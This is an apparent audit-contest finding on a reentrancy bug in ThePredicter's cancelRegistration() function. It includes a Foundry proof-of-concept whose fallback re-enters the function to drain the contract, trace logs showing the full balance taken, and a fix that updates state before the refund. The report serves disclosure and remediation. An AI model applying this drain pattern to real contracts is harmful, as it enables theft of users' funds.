Submission Details
Severity:
Reentrancy vulnerability in `predicter.sol::cancelRegistration()` method
Summary
Vulnerability Details
A malicious player registered for the game can exploit a vulnerability by repeatedly cancelling their registration cancelRegistration()and calling back the predictor contract after receiving their refund. This process drains all the funds in the contract due to a missing check-effect-interaction pattern.
Impact
This exploit allows a malicious player to drain all the funds in the contract due to a missing check-effect-interaction pattern. As a result, the contract becomes useless for its intended purpose, and honest players lose their funds to the malicious player.
coded POC
function test_AttackerCanSteallAllFunds() public {
for (uint256 i = 0; i < 30; ++i) {
address user = makeAddr(string.concat("user", Strings.toString(i)));
vm.startPrank(user);
vm.deal(user, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(user);
vm.stopPrank();
}
vm.label(address(this), "Attacker");
// malicious player registering after all 30 players did
vm.deal(address(this), 0.04 ether);
thePredicter.register{value: 0.04 ether}();
//check balance before cancel
emit log_named_decimal_uint("Attacker balance before cancelling = ", address(this).balance, 18);
emit log_named_decimal_uint("ThePredicter balance before cancelling = ", address(thePredicter).balance, 18);
// cancel registration
thePredicter.cancelRegistration();
//check balance after malicious user cancel
emit log_named_decimal_uint("Attacker balance after cancelling = ", address(this).balance, 18);
emit log_named_decimal_uint("ThePredicter balance after cancelling = ", address(thePredicter).balance, 18);
}
fallback() external payable{
if (address(thePredicter).balance > 0)
thePredicter.cancelRegistration();
}
Add the code above to ThePredicter.test.sol and run with forge t --mt test_AttackerCanSteallAllFunds -vvTo generate the traces below
[PASS] test_AttackerCanSteallAllFunds() (gas: 2094527) Logs:
Attacker balance before cancelling = : 0.000000000000000000
ThePredicter balance before cancelling = : 1.240000000000000000
Attacker balance after cancelling = : 1.240000000000000000
ThePredicter balance after cancelling = : 0.000000000000000000
Tools Used
Manual Review / foundry
Recommendations
since a user who has no funds in the contract has the unknown status, it is recommended to change the status of user back to unknown before sending back the funds to the user.
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Unknown;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
running the coded poc agains this changes will prevent the reentrancy from happening.
In addition to protecting the protocol, it is also recommended to use non-reentrant modifier to guard against public functions:
Updates
Lead Judging Commences
NightHawK over 1 year ago
Submission Judgement Published Assigned finding tags:
Reentrancy in cancelRegistration
Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.
Rewards breakdown
nSLOC
191This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.